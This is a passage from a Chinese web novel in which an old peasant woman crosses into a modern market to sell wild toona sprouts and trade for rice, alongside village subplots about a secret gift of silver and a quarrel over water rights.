万春兰看着老板伸出五根手指跟他确认:“五十?”
“对,五十斤。”
她又指向塑料袋装的那一袋米:“几斤?”
“这个?五斤啊,喏,你看。”老板把米放到电子称上:“正好五斤,够秤的。”
“五?”
“对!五斤。”
这一袋五十斤,这一袋五斤,加起来就是——万春兰赶紧掰手指头。
完了完了,算不明白了。
超过十以上的算数万春兰一下子算不明白,卖米老板看万春兰在那费劲的掰手指头算账,拿起了桌上的计算器:
“没给你少啊大娘!你不信我拿计算机给你算。”
“归零。”
“100÷1.9=52.6315789”
“你看,一百块是52斤多,我给你55斤呢,没占你便宜!”
抬头看见卖米掌柜拿着一个比手掌还大的黑块块戳,边戳还边响。
哎哟!这玩意还会说话?
完了,刚才算到哪了?
卖米老板看他都给她算的这么明白了,这老太太还在那掰手指头,整无奈了。
“行,你自己算吧。”
他无奈的把计算器放下,人回到椅子上坐下,撑着下巴刷手机,不管了。
一会儿后,万春兰算明白了。
一共是五十五斤!五斗半米!
上次过年时候去县城米粮店,她记得糙米是卖五十文钱一斗,一斗精米能换三斗糙米,五斗半那就是......完了这回数字更大了。
万春兰头顶发烫,反正肯定比一百文多,得有好几百文!
心脏咚咚咚狂跳。
这种一到春天山里一抓一大把的香椿,在神仙地竟然能卖出好几百文!
万春兰又晃了晃,坚强的站稳了,深吸一口气。
“掌柜,这些米,我要了!”
11. 第 11 章
一篮香椿换来的花纸,能换这么多白米,傻子才不要呢!
万春兰赶紧把一百元给老板,都生怕老板不卖她了。
卖米老板收了钱,笑着问万春兰:“算好了大娘?没坑你吧。”
看老板冲她笑,万春兰也咧开嘴笑,她这是真激动的发笑,眼睛都快亮成灯泡了。
看着手边上换来的一大一小两袋大米,万春兰激动的把塑料袋的五斤米装到菜篮里,然后手抱着五十斤的大米袋,弯腰蹲下,往肩上一扛背了起来。
看着这么瘦小的一个老太太背起了五十斤大米,被大米袋一压属实有点吓人,卖米老板担心的从摊位后面出来帮忙扶着米袋,
“大娘,你一个人行不行啊?你外面有小车不?要不我帮你拿出去。”
万春兰从米袋下昂起头,冲着卖米老板感谢一笑,伸手去勾地上的菜篮,卖米老板帮忙把菜篮拿起来挂到万春兰手臂上。
“谢谢掌柜!”万春兰冲着卖米老板道谢,调整了下位置,把米袋和菜篮都固定稳了,满心兴奋的背着五十多斤大米离开了卖米摊位。
卖米老板本来还有点担心,看老太太没用他帮忙,腿脚麻利的背着大米走了,也就放了心回去摊位里继续招呼别的客人。
别看万春兰干枯瘦小又一把年纪了,毕竟干了一辈子农活,很是有一把子力气,背这五十斤大米走的健步如飞。
她背着大米往卫生间走,一路上收获了无数注目。
有个别好心人,看她这样开口问需不需要帮忙,万春兰根本没意识到是在跟她说话。
顺利找到卫生间,万春兰背着大米往最后一个隔间去,结果没推动门。
隔间里面传来人声:“有人!”
没推动门,还听到里面有人说话,万春兰惊讶的抬头看了看关着的门板,转身下台阶,看到边上第一个门是开着的,于是背着米去了第一个里面。
关上门板默想着白屋子,顺利进去空间。
一进到白屋子里,万春兰把大米放下,两只手抱着大米袋子,笑的那叫一个合不拢嘴。
这些白米,全是她的了!
她打开塑料袋,捧起一把白花花的大米,凑到鼻子下面闻。
“真香!”
大米的香气!
万春兰看着手心里白花花的米粒爱不释手。
“这米磨出来不容易啊。”
这种白色的大米,处理起来是十分费事的。
地里的稻子成熟收割后,晒干脱壳,得到大米是黄色的,也就是糙米。
要想再进一步得到白色的米,就得再用专门的石磨去磨,那种石磨一般农家人是没有的,只有米粮店才有。
想要不用石磨磨出这种白米,就得放到臼中舂捣,那更是细致活儿,一个不好,米就全捣碎了,直接一个全白忙活!而且你边磨米还得边用筛子一遍遍的去糠皮,磨一天都不见得能磨出一斗米来。
谁家会去费那个事?虽然白米比糙米贵好几倍,但你磨不出来啊,有那个时间一点点磨,你还要不要干活了?
万春兰珍惜的捧着大米小心的放回到塑料袋里,一粒米都舍不得掉。
这么好的米,
她是舍不得吃的。
这几十斤白米,拿到镇上去换糙米的话,至少能换一石。
一石米够家里人吃上两个月了,还是顿顿都能吃饱的。
而这些只是一篮野香椿换的!
万春兰只要一想到这么多米只是一篮香椿换来的就控制不住激动,脸颊都红了。
神仙地不愧是神仙地!简直就是大大的宝地!
因为老天爷一直不下雨,她一直担心闹饥荒,早早就开始控制家里的口粮,她就怕粮食不够吃,如今一篮野菜能在神仙地换来了这么多白米,瞬间解决了她的大忧虑!
只要她多挖野菜,拿到神仙地去换花纸,然后再换白米,换完白米她再去镇上换更多的糙米。
多挖菜,多屯粮,就算真的赶上了荒年,家里人也不怕挨饿了!
万春兰是又高兴又兴奋,内心里愈发有底气,她好生把大米在白屋子里放好,提起菜篮出了空间,水波纹荡漾过,鼻间飘过香椿的香气,人站在了香椿树下。
万春兰抬头看着这几个香椿树双眼直放光。
这哪里是香椿树,这分明是摇钱树!
---
刘家里,刘大江从老屋里出来。
他四处扫了一眼家里,家里人都出去了,俩儿子到上游挑水,挑完水直接上地里去润土,儿媳妇们忙完家里的事儿去帮忙,今天他和老婆子置气在屋里不出门,家里人都不敢叫他,几个孙子孙女也出去玩了。
这会儿过了辰时,太阳干巴巴的在天上悬着。
刘大江抬头半看着天,想了想,晃悠着往门外走。
门口刘小禾蹲在地上摆了一堆小石子正在玩过家家。
抬头看见阿爷出门。
小丫头问:“阿爷,你要去哪里呀?”
刘大江看了小孙女一眼:“出去转转。”他站在家门口,脸朝向村外的方向,迈开步子。
刘小禾蹲着看着阿爷的背影,她记着阿奶叮嘱的任务呢。
阿奶让她看着有没有人来找阿爷,现在没有人来找阿爷,可是阿爷要出门,她要不要跟上去呢?
小丫头歪脑袋想了想,站起来跟上了刘大江。
刘大江在想孙红云,不知道她儿子的病怎么样了?今早张老三说的那一番话在他心里种了根儿,这念想一旦起了,就怎么也压不下去。
他按了按放在衣襟夹兜里的银子。
这银子是他的私房钱,藏的地方只有他自己知道。
刘大江心里长草,在家里待不住,准备去镇上看一看。
大家都一个村子的,儿子病了,她肯定有顾不上的地方,要是有什么能帮忙的,他再帮一帮。
刘大江背着手一路走一路想。
愣是没发现小孙女跟在身后。
刘小禾在后面不远不近的跟着刘大江,小孩子玩兴起来,兴致勃勃,觉得自己在干一件大事!
她小心的跟着刘大江,不让他发现,有点风吹草动,就赶紧蹲下,躲到树或者石头后面,玩的不亦乐乎。
然后跟到一半的时候,她有些累了。
但这时候已经出村子很远了,前后都是茫茫田野,她不敢一个人掉头回去,又不敢过去找刘大江。
阿爷肯定会骂她的。
小丫头只能继续跟着刘大江。
也好在村里到镇上的路大多都是平路。
即便是刘小禾落下些距离,也能看清刘大江的身影,然后跟上来。
小丫头就这么硬是咬着牙一路跟了十里地,跟到了大柳镇上。
到了镇上,刘大江就循着去了孙红云住的地方。
刘小禾走了十里地,累的不行,小嘴上都起皮了。
她一双眼睛不错眼的盯着刘大江的背影,生怕一个不留神把阿爷跟丢了自己回不去家,看刘大江往一个巷口里走,刘小禾赶紧跑两步跟了上去。
“叩叩叩、”
刘大江站在孙红云家门前敲响门。
不一会儿,门开了,面上一脸疲惫的孙红云看到门外的刘大江,惊讶道:
“大江哥,你怎么来了?”
刘大江看见孙红云,脸上顿时一笑,随即关心道:
“我今天正好有事来趟镇上,怎么样,药抓好了吗?”
孙红云露出感激的笑:“抓好了,多亏了你大江哥。”
“没事,不用跟我客气。咱们从小一块长大的,你有什么事,我肯定不能看着不管的。”刘大江大方的摆摆手,认真说。听他这么说,孙红云神情唏嘘,看着刘大江露出几分真心,
“真的谢谢你
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,大江哥。”
两人站在门前说话,刘大江看孙红云一脸的疲惫的样子,知道她肯定操心坏了,他往周围看了看,然后把手伸进衣襟口袋里,拿出二两银子来递给孙红云。
巷口刘小禾在石砖上坐着往这边看,刘大江根本没认出来小孙女。
“这银子你拿着。”
孙红云惊讶的看着银子:“大江哥!这!”
“拿着吧,生病了得好好养身体,成哥将来还有前途呢。”他把银子给了孙红云,看着孙红云道:“你也记挂着自己的身体,别太担心了。”
这一下,是真把孙红云触动到了,眼圈顿时红了,要落下泪来。
“我...我真不知道该怎么谢谢你了。”
刘大江叹一口气。
孙红云是寡妇,大白天的不好让个男人进门,让人看见了不好。
孙红云擦了擦眼泪:
“大江哥你等一等,我去给你拿碗水来。”
“诶。”
不一会儿后,孙红云端了一碗水过来给刘大江,刘大江接过来咕咚咕咚昂头全喝了。
巷口刘小禾在石砖上坐着往这边看,馋的直舔嘴唇。
喝完水,刘大江把碗还给孙红云。
他抹了把嘴唇,看了看孙红云,说道:“那我先走了,你要是有事,再来找我。”
“谢谢你大江哥。路上慢点,最近天气返寒,你也注意着点身体。”孙红云感激的不行,她本来长得就不错,虽然年纪大了,但没吃过什么苦,看着比同龄人年轻很多,此刻看着刘大江说出这些关心的话,听得刘大江心花怒放。
“诶,我晓得了,回吧,我走了。”刘大江满面红光,摆摆手,一步三回头离开了孙红云家门口。
刘小禾看着阿爷从她面前走过,连头都没低一下。
阿爷看起来心情很好。
阿爷没认出来她。
刘小禾看着刘大江目不斜视的就这么走了,她有些胆怯,没敢叫阿爷。
她转动小脑袋,看着周围记下来,赶紧跑出去又跟着刘大江身后去了。
等回去了,阿奶要是问的话,她能记住地方。
刘大江从孙红云家门前离开,就离开镇子往家里走。
刘小禾在后面跟着。
她本来就已经走了十里路了,一口水没喝,这会儿再走回去,没跟着一会儿,刘小禾就走不动了。
她憋着小嘴,眼看着刘大江越走越远,哭着在后面跑着追上去:
“阿爷!”
这下被骂也得出声了。
她怕再不叫,跟不上阿爷,她就回不去家了!
刘大江听到身后有小孩儿声音回头,看着出现在眼前的刘小禾,惊讶的不行,
“小禾?你怎么在这。”他四下看去:“谁带你来的?”
刘小禾不敢说,小孩儿又累又渴,看阿爷的样子又害怕,小声撒了个谎:“我跑出来玩,然后就沿着路走,就看到阿爷了。”
刘大江压根就没想到刘小禾跟了自己一路。
他以为这丫头是自己贪玩,跑出了村子太远找不到家了,然后叫他碰上。
刘大江严厉着老脸训小孙女:
“小姑娘家家贪玩成这样子!你看你都跑到哪了!我看你就是被你阿奶惯的!真是欠揍!”他举起蒲扇大的手掌,刘小禾吓得赶紧闭眼睛,眼泪顺着眼角就掉了下来。
刘大江啪一手掌给刘小禾差点拨了个跟头。
小丫头咬着嘴唇不敢哭出声,胆小的看着爷爷。
“跟我回家!”
“阿爷,我走不动了。”
刘大江瞪这小孙女。
刘小禾瘪着小嘴可怜巴巴。
毕竟是亲孙女,又不能真扔着不管。
刘大江唬着脸提溜起刘小禾的衣领,拎起来夹在胳膊下面,大跨步子的往家走。
---
12. 第 12 章
万春兰攀在树上咔咔摘香椿。
此时此刻,这些长在树上的嫩芽在万春兰眼里不再是香椿,全是大米!
她看差不多要弄满一篮子了就下树去整理,把不好的不嫩的都丢掉,整理好一篮子,赶紧进空间再拿到菜市场去卖。
就是现摘现卖的才新鲜!
推门进菜市场之前,万春兰眼角余光突然看到地上有一个紫色的东西。
她脚下一顿去捡起来看,发现是“伍”的花纸。
咦?她翻自己的袖口,发现先前放在和的“伍”花纸不见了。
哎哟,怎么不小心掉出来了,幸好是掉在白屋子里,要是掉到外面岂不是丢了。
万春兰赶紧把这五块钱贴身收好,结果眼睛一扫,又看到一个白色半透明的小袋子,是那包味精!
万春兰扬了扬眉,先是欣喜这东西没丢,紧接着皱眉疑惑,自己有这么冒失吗?怎么接二连三的掉东西。
“真是老不中用......”
万春兰捡起来这两个都放好,这才推开门。
万春兰提着菜篮找到先前卖香椿的地方,菜篮放好人往后面一蹲,兴冲冲的开始等客人。
眼睛看着身前来来往往的人,大家手里都拎着装东西的各色塑料袋,各个摊位上掌柜也都用袋子给人装东西,万春兰看着对面正在给客人装东西的掌柜,突然想到昨天加今天在这看了那么久,袋子好像都是卖东西这边出的。
再仔细一想,还真是!
这一意识到了,可不得了了。
她一下想到刚才第一个买走她香椿的那位老夫人,那位老夫人在装香椿之前四处在找什么,然后问了她一句话,她当时没太听懂。
所以刚才那位老夫人是在找她要袋子?
她仔细回想当时老夫人问的话,越想越觉得,她就是在找自己要装东西的袋子。
万春兰高高的抬起眉毛,后知后觉这才意识到,在神仙地做生意,是有给客人准备袋子的规矩的!
这不怪她没想到,在老家那边,一般店家是不会给你准备包裹的,都是自己准备包裹。
比如买米、买油啊,就拿着自家的布袋子或者油壶去;
像酒肉这种不方便用包裹装的,店家会给捆一根草绳拎着;
除非是去药铺买药,或者那些包起来好送人的干果蜜饯,店家会用黄纸包裹一层,再用麻绳给捆好。
所以在神仙地做生意要给客人准备袋子,万春兰压根就没这个意识。
现在意识到了,她看着自己空空如也的双手,她没有袋子这可怎么整。
她可不想犯了这里的规矩!
万春兰看向各色人手里拎着的塑料袋,这袋子应该也是要买的,她还有“伍”的花纸,但是她不知道要去哪里买,她有些急的看向那些摊位后面的掌柜,要不她先去找这里的掌柜手上买几个,应该是可以的吧?
万春兰挎起菜篮起身,朝着对面的摊位走过去。
对面是一家卖百货的。
万春兰走到摊位前,看向老板,指着摊在台面上的塑料袋,拿出五块钱。
正好这会儿人不多,百货老板打量了一圈万春兰,看她指着塑料袋,当下就扯下来一个递过去。
万春兰接过老板给她的塑料袋,然后把五块钱递给老板。
百货老板看她懵了一下,没接钱:“你要什么啊?”
万春兰又指了指塑料袋,
因为知道这里人听不懂她的话,她也不说太多废话:“几钱?”
她就说两个字,认真听还是能听懂的。
“哦,你要买塑料袋啊。”百货老板恍然,低头从下层一个位置拿出了一沓五十只装普通款式的白色塑料袋给万春兰
“1块5一捆,你要几捆?”
万春兰听出个“一”,似乎是问她要几个。
万春兰看着老板手上拿出来的一个长条白色形状有点厚度的东西,一看不是这种袋子,她就没在意。
她想了想,先要三个看看能不能买,她就比了个三。
百货老板点头,又拿出来两捆,三个一起给了万春兰,然后接了五块钱,拿过来钱包找钱。
万春兰还等老板给她另外扯两个塑料袋呢,结果老板又拿出两个长条,三个并一起给了她,然后把花纸抽走了。
她有些懵的拿起这三个厚长条。
一拿上手摸手感,咦?跟透明袋子一样,翻到边上细看,好像是很多层卷起来。
万春兰扬扬眉,上面有一个皮筋捆着,她打开一个皮筋,抖开,立马就是她见到的塑料袋,这厚长条原来是因为把袋子卷起来的!
万春兰惊讶的捏着底边的层数,这么多啊!
“来,找你的钱。”
百货老板摸出来伍角钢镚给万春兰。
万春兰抬头看见老板手里铜钱似的圆币,她一惊,这是铜钱?!
拿过来一看,刚提起的心又回去了,不是铜钱,只是颜色像,小了很多,亮亮的,两面都有花纹,还怪好看的。
她再不懂也知道这是找回的零钱。就跟用银子买东西似的,多了的要用铜钱找回来,虽然她没用银子买过东西,但知道还是知道的。
先前不知道这袋子是一捆卖的,一捆还这么多,万春兰看着百货老板露出一个不好意思的笑,把两个没拆开的退还给他:
“抱歉了掌柜,先前不晓得,这两个我没动,能不能把这两个退了?我要一捆就够了。”
她这一长串话百货老板自然没听懂,但万春兰边说,边把两捆塑料袋退会来,只拿着一捆,老板也不是傻子,看也看懂了。
百货老板没说什么,把两捆收走,万春兰看老板把那两捆收回去了,心里一喜,眼睛殷切的看着对方,等他再给自己找零钱。
买三捆都有的找,买一个,肯定还会找。
果然,她看见掌柜从他的黑色包裹里摸出了三张花纸,是绿色的。
万春兰接过来三张一元纸币,跟五角钱一起收好。
先收好,一会儿再研究。
她给老板鞠了一躬:“多谢掌柜,给你添麻烦了。”
伸手不打笑脸人嘛。
这老太太还怪有礼貌。
百货老板露出一个笑,“没事。”
万春兰见状也冲老板笑笑,转身拿着她买好的塑料袋回去了。
她放下菜篮,拿起刚买到手的一捆塑料袋开始新奇的查看。
原来这袋子是这么多捆成一捆一起卖的。
手指搓了搓,好多层,起码几十个是有了。
怪不得看到的人都是用这种袋子,看来在神仙地,这袋子应该不值几个钱,要不不能满大街都是。
她小心的扯下来一
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个,搓开封口,很细致的研究了一圈。
比昨天胖仙姑给她装包子的袋子厚实,而且更大。
她用力扯了扯手上这个,今天这个更结实,袋子被抻的发紧也没有破,再使劲儿,袋口经不住拉扯破开始变形,万春兰赶紧松手,发现被扯变形的地方变薄了很多,只要再使点劲儿袋子就破了。
结实!但使劲儿扯还是会坏的。
可是它轻便啊,而且它便宜!
万春兰研究完得出结论,对塑料袋满眼好评。
弄出这么好的袋子还满大街都是。
万春兰对神仙地是越来越好奇了。
捆袋子的皮筋她还留着,在手里抻了抻,弹性十足,好东西!揣怀里留着。
如今给客人的塑料袋也有了,万春兰大松一口气,把塑料袋放到自己怀里,蹲在菜篮后头,又拿出老板找给她的三张纸币和硬币开始研究。
又是三张花纸。
这三张花纸跟先前的两张不同,三张一模一样,万春兰在上面找到个“壹”。
她恍然,原来绿色的才是壹啊。
今天周末,赶上人也多。
万春兰这纯野生的香椿摆在这,很快就又有人注意到了。
一个中年妇女在菜篮前停下弯着腰看。
感到身前站了人,万春兰抬头,看见一位夫人正在低头看自己的香椿。
她顿时精神一提,收回思绪把三块前塞进衣袖里放好,精神百倍地看着人准备招呼。
因为语言不通,她也不说话,就殷切的瞅着人,准备等人问话她就回答。
“这是香椿吧?”
“香椿!”
中年妇女蹲下,拿起来几根仔细看了看。
“怎么卖的?”
万春兰伸出两根手指比出“二”
“两块?”
两块?万春兰听着跟上一个老夫人说的不太一样,摇摇头,又比了下二。
“二十?”这个音对了!
她点头。
心里跟着学了几遍二十。
一听二十块一斤,中年妇女嫌贵,摇摇头起身走了。
万春兰见这位夫人没有买她的菜,脸上露出些失望,目送着客人离开。
不过她也就失望了一下,正常买卖东西,有人问有人走太正常了。
她去逛村集的时候,经常问十家一家都不买呢。
不过这一下之后好像开了开关,接连又有几个人过来看。
有些人是看菜,有些人倒是在看她。
万春兰全心精神的招待每一个客人。
有人问,她就说“香椿”,然后伸出两根手指比出“二”。
几次之后,万春兰在比“二”的时候,还可以一起说出“二十”了。
香椿,二十一斤!
大部分人看过、问过后也走了,万春兰就这么招待着,在跟第六个人说“香椿”,比“二”说出“二十”过后,对方拿着香椿点点头:
“给我称点吧。”
万春兰眨了眨眼,看对方点头要的意思,目光也在找东西。
她从怀里拿出塑料袋,扯下来一个递给客人,对方接了,搓开封口开始挑挑拣拣的往袋子里装香椿。
万春兰看着装香椿的客人欢喜的搓手。
她就说做生意不能着急吧,客人这不来了吗!
13. 第 13 章
张齐是一位主厨,在南区经营着一家评分还不错的私厨餐馆。
平时上班之前他都爱来这附近的菜市场逛逛。
今天周末,他照常在上班前来逛菜市场,碰到一份卖野香椿的。
他一眼就看出来这香椿跟平常菜市场里卖那种的不一样,蹲下来仔细瞅瞅,红梗细小紧实,是纯野生的,这在现在算是很少见了。
以前小时候,他外婆家的院子里就有一颗香椿树,一到春天,外婆就去把树上的香椿摘下来,洗干净,用盐水浸一下,然后用面粉、鸡蛋、香油、味精、盐拌匀,把裹着浆糊糊的香椿放到油锅里炸香椿鱼儿。
他特别喜欢吃那个。
“怎么卖的?”
卖菜的是个看起来很穷苦的老太太。
“香椿,二十。”
那卖的不贵。
张齐点点头。
今天的菜单有了。
就做炸香椿鱼儿!
“给我称点吧。”
万春兰摘香椿时都是挑好的,不嫩不好的她都没往篮子里放。
所以张齐挑拣几个,感觉每一颗都好,干脆也不挑了。
手里的香椿都给处理的特别干净,连颗发蔫的都没有,根儿上还都是湿的,一看就是刚摘下来不久,还给细心收拾过。
说实话,他们做厨师的,最高兴的就是碰上这种特别新鲜的菜。
菜越是新鲜,做出来的味道就越好,这个菜的新鲜度,对最终出品,不论是口感、味道、味形,都有很大的影响。
这一篮新鲜野香椿,张齐是越看越喜欢,干脆全包了。
他爽快的把菜篮里的都装进塑料袋里,递给卖香椿的老太太。
“称一下吧。”
又一个全拿的!
万春兰高兴的扬起眉眼,眼前这位年轻后生和第一位老夫人一样全拿上了。
装完菜后也一样把袋子给她了,正所谓一回生二回熟,
万春兰学着上一位老夫人,拿着塑料袋走到旁边调味料的摊位的电子秤旁边。
她猜这个东西是神仙地的秤。
因为买东西都要约秤的,不约秤没法算钱啊。
先前卖给老夫人那一袋就是放在这个东西上的。
这个东西她实在是没有,只能再来麻烦这位掌柜借用一下。
“掌柜。”
万春兰不好意思的叫调味料老板,指指电子秤,指指手里的塑料袋。
这东西是人家的,上一次就是借用,现在又来,所以万春兰很不好意思。
老板还记得万春兰呢,因为她穿着打扮实在惹眼,看老太太又过来借称用,调味料老板大方点点头笑道:
“用吧。”
看老板点头,万春兰满脸感谢的给老板鞠了个躬,然后把装着菜的塑料袋放到电子秤上。
正好六斤。
但是万春兰看不懂。
她盯着那屏幕上亮起的符号,旁边跟过来的张齐凑来看了一眼说:“诶?还怪正好的,正好六斤。”
万春兰抬头,“六斤?”
调味料老板也凑过来看了一眼,附和点头,可不怪整好的。
“六斤,那我就是付你一百二。”
嗯?万春兰支棱着耳朵听清楚了,六斤是一百二?她赶紧掰手指头算。
张齐拿出来手机准备扫码,他看了万春兰一圈,浑身上下也没找见支付码,又回头看她摆菜篮的地方,也没有。
他看着束手站在那掰手指头的万春兰。
这时他反应过来,眼前这位老太太,应该是没有手机。
他以为都26年了,大部分人应该都有手机了,但很明显眼前这位奶奶就是还没有智能手机的那一拨。
问题是,她没手机,他身上也没有现金啊。
他都好久不用现金了支付了。
这时万春兰算出来了,六斤确实是一百二!
她赞叹的看向主厨张齐,这后生算的好快呀,脱口就算出了一百二,这高低不得是个秀才啊!
张齐有些为难的挠头:“我身上没有现金,那个,大娘,你有你家里人的支付码吗?”
万春兰:“?”
显然也是没有的。
看万春兰这样,自己拿了别人的菜都装好了,不好意思再说不要啊,况且他都想好用这做今天餐馆的主推菜单了。
张齐看向旁边的调味料的老板说:“老板,要不我把钱转给你,你帮我给这位大娘,行吗?”
调味料老板听到表示没问题:“行啊。”反正帮一下又不少块肉的,这种情况在菜市场里也不算少见。
见老板同意,张齐转头跟万春兰说:
“大娘,我把钱转给这位老板,然后老板拿钱给你啊。”
万春兰睁大眼睛看着买菜后生,见他跟她说完话后,拿出他的长块块,对着这家掌柜台面上的绿牌子“滴”了一下。
这个她懂!
滴过之后,就可以把货物拿走了。
张齐付了调味料老板一百二十块钱,然后老板拿出一百二十块现金,递给万春兰。
“给,大娘,这是你卖菜的钱。”
万春兰惊讶的看调味料老板拿了钱给她,她犹豫的接过来,脑子里还没对他们这一套操作转过弯来。
“麻烦你了啊老板。”
“嗨没事儿。”
张齐见老太太收完钱,跟老板道了句谢笑容满面拎着一袋子香椿走了。
万春兰目送后生客人离开,看向调味料老板。
老板看她看自己,张口和气的搭了一句话:大娘你菜卖的很好啊。”
万春兰快速的眨眼。
她把菜卖给后生,后生拿长块块滴掌柜的牌子,掌柜把花纸给她——
这么顺了两遍,万春兰表情恍然,
她明白了!
是后生把钱“滴”给了掌柜,然后掌柜拿花纸给她。
因为她没有自己的长块块!
懂了懂了!
她说怎么掌柜反倒给她花纸,这样的话就对了!
万春兰面上喜色,握着手里一张一百和一张二十的纸币,对着帮忙的调味料老板连连道谢,
“谢谢你啊掌柜!您真是大好人,太麻烦你了!”
看人不停的给自己鞠躬说话,虽然这一口方言听不懂吧,但谢谢自己还是看得懂的。
调味料老板笑容满面摆摆手,“没事没事,一点小忙,你不用一直谢我,我又没吃亏。”
又换到花纸了!
万春兰走回去高兴的看手里新收到的花纸。
一张跟先前一样的红花纸,一张第一次见的铜色的。
又是新的花纸。
万春兰发现神仙地的花纸样式好多啊。而且还都特别好看,这张上面画了山山水水,河上还有船和小人呢。
她翻过来看铜色花纸上面的字。
有个贰,后面那个字是拾。
这是二十!
第二篮香椿也卖空了,万春兰把塑料袋和花纸都收拾好,挎起菜篮快步往回走,赶紧再去摘下一波!
太阳在天上高高的挂着,时间还早的很。
无人的寂静山林里,突然凭空出现一个老妇。
万春兰回到这边,放下菜篮攀到香椿树上,继续摘!
又弄满一篮,她提起菜篮进去空间。
一进去白屋子,
万春兰顿时又看见了地上显眼的红色、铜色、还有绿色的花纸,连那枚铜色硬币都在地上。
就是她换回来的那些。
她惊讶的看着这些散在白屋子地上的花纸,一摸身上放花纸的地方,果然没了。还有那包味精!也在地上。
先前那一次还能说是意外掉的,可现在全都掉出来,就不可能是意外了。
万春兰把纸币和硬币都捡起来,沉思了一下想明白了。
这花纸不能带到老家那边去。
每次都是她人推开门回去了,但是花纸留了下来。
搞不清楚为什么不能带花纸。
不过她也没太担心,因为这个在老家那边又花不了,这是在神仙地用的,能在神仙地用就行。
万春兰重新把钱收好,想着以后弄个钱匣子来放到白屋子里,专门放这些花纸,要不然每次回家都弄的满地到处丢。
可是这包调料为什么也不能带呢?
万春兰拿着味精有些想不通,想不通暂时先不想了,她把味精放到一边,卖菜要紧,卖完再研究。
放好后她就提着菜篮推门出去卖菜了。
万春兰卖香椿卖红了眼。
从天亮干到天黑。
一共摘了五拨。
因为后面越来越不好摘了,每次摘的
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时间开始变长,重量也比前两次都少。
但依旧全都卖出去了。
后面两次她是分成四个人交易成的,有两个人用现金,两个用手机支付。
每次都是调味料老板帮忙称,然后用手机支付的再转一手给她现金。
最后这一篮,她不卖了。
万春兰挑了最好的,每一根都又鲜又嫩,仔仔细细清理干净,装到塑料袋里,给了调味料的老板。
这一天,全依仗这位掌柜帮忙。
万春兰满心感激不知道该怎么说。
“掌柜,这一天谢谢您帮忙,老婆子我实在不知该怎么感谢,这一篮香椿您收下吧。”
调味料老板颇有些受宠若惊。
“哎哟,你太客气了大娘。”
其实他没觉得自己帮多大忙。
这大娘一共来卖了四波菜,一共就那么几个客人,他就帮着称了六次称,然后帮忙换了三次现金。
要说麻烦,其实真没多大麻烦。
而且他看这老太太穿的老旧,衣裳还有补丁,面上的沧桑也骗不了人,一看就是个很穷苦的老太太,手机没有,又不会说普通话,怪不容易的,就想着帮一下就帮一下吧,又不少块肉的。
前面那次这大娘走了挺久,他以为她卖空了菜回家去了,没成想又回来,专门给他送了一袋子香椿来道谢。
“不用不用,你留着卖钱吧。”
她自己家里不知道困难成什么样呢!她还送自己菜,他怎么好意思要!
调味料老板说什么都不要,让她拿去卖,要么自己吃。
见老板说什么都不收,万春兰也急。
她是真心要谢谢这位掌柜的!
人家帮了自己那么多忙,她什么都不谢人家,晚上回去她睡不着觉!
“这样,大娘,我就拿一把,这些就够了。剩下你拿回去,留着卖或者自己吃。”
他从袋子里抓了一把香椿,剩下的死活不要。
万春兰看着老板开开合合的嘴,大部分音调进了她耳朵都听不懂。
但她却又觉得听懂了。
她没再坚持把菜塞给调味料老板,眼眶竟然都有些湿润,认真的给老板鞠躬,
“您是大好人,我回去,一定烧香拜佛,求菩萨保佑您家庭顺遂,生意兴隆。”
听不懂,但指定是好听话。
调味料老板眉开眼笑的点头,
“行,行,谢谢您啊大娘。下回你要是还来卖菜,就上我这边来。”
虽然听不懂,但指定是好话!
万春兰满面笑容,不停的点头:“诶,诶,谢谢,谢谢您。”
---
水波纹平缓下来,万春兰回到了白屋子里。
她坐在白屋子的地上,把今天换到的花纸全都哪里出来。
有一块、五块、二十、五十、一百,哦还有个五毛钢镚。
她平铺开来,看着面前这一大把花纸笑了起来,趴在地上开始一张一张算。
好半天后,她满面精神的直起腰。
算上买大米的那一百块,她今天一共卖了是380块!
这些去买白米能买多少斤?
她又想算,几下之后万春兰脑子疼了,数字太大,算不明白,哎哟,看来这算数不好真耽误做生意啊。
怪不得有账房先生呢!
要不她也去弄个算盘学一学?要不以后都算不明白账多闹心啊!
实在算不明白,万春兰叹气,把花纸收拢到一起先不算了。
这些花纸她没有去换大米。
神仙地那么多好东西,那个地方的人都吃的白白胖胖的,一看就不缺米吃。
她准备等需要的时候,再去换大米。
神仙地好东西太多了,留着钱万一有别的用呢。
她把花纸收起来,先放到墙边放好,和换回来的五十五斤大米放在一起。
满意的打量今天的成果。
万春兰提着菜篮,推门离开了空间。
再一次从空间出来,万春兰发现太阳已经在西边了。
不知不觉干了这一天,太阳马上就要落下山去了。
这几颗香椿树也快被她薅光了。
等明天,她就去镇上米粮铺,看看能换多少糙米。
万春兰拖着疲惫的身躯,兴奋的心情出山往家里走。
14. 第 14 章
还没到村子,远远就见村口前乌泱泱围着一大帮子人。
好像全村人都出来了。
万春兰惊大双眼,怎么了这是?
她快走几步,走近了发现这些人是分成两拨,一边全是他们石磨村的村民,另一边好像是几里外水牛村的。
人群最前头,村长和里正也都在呢。
万春兰走到自己村子这一边来,找到相熟的张婶子问:“怎么了这是?”
张婶子见万春兰惊讶道:“你不知道?”
万春兰摇摇头:“我一早就出去了,眼下刚回来就看见这副阵仗。”
张婶子:“哎呀!今天早上刘大栓家的柱子去上游打水,被水牛村的人拦住了,不让打,后面咱们村的青壮陆陆续续过去,水牛村的人全拦住了,谁都不让打,两边吵起来,就动起手来了!”
“啊?”万春兰一听还打起来了,惊讶之下连忙追问:“有人受伤没?”赶紧垫脚在人群里找自己家两个儿子。
张婶子煞有介事的啧啧嘴:“咋没有?刘老锅家的小儿子让人打了个乌眼青,张二麻家的老大被人吐了一口吐沫到脸上,还有那个谁......”
张婶子一个个给万春兰说,谁家的谁都挨了哪些打,被吐吐沫了、扯坏衣裳了、全细致的捋了一遍,最严重的就属刘大栓家的儿子,被人打掉了一颗牙。
张婶子:“打的那个凶哟!张老三的小儿子跑回村子来叫人,说水牛村的欺负人不让打水,还打咱们村的人,咱们村的老少爷们一听全拿上家伙去了,到河边一看,对面也全拿着家伙,眼看着又要打起来,然后两边村长赶来了,这才没再打起来。”
张婶子绘声绘色,把场景描述的情景重现一般。
万春兰听完跟着一阵身临其境,随后皱起眉道:“水牛村也忒霸道了,那河又不在他们村里,为什么不让咱们村去打水?”
张婶子:“谁说不是呢!这条河在这几百年了,跟他们水牛村有什么关系,凭什么不让咱们去打水?这不把里正请来了,正在说这事儿呢。”
人群前排,两个村子的村长、里正,还有村子里一些有威望的人物以及今日打架的几个领头的,都站在一起,你这边一句,我这边一句,叽叽呱呱的已经掰扯好半天了。
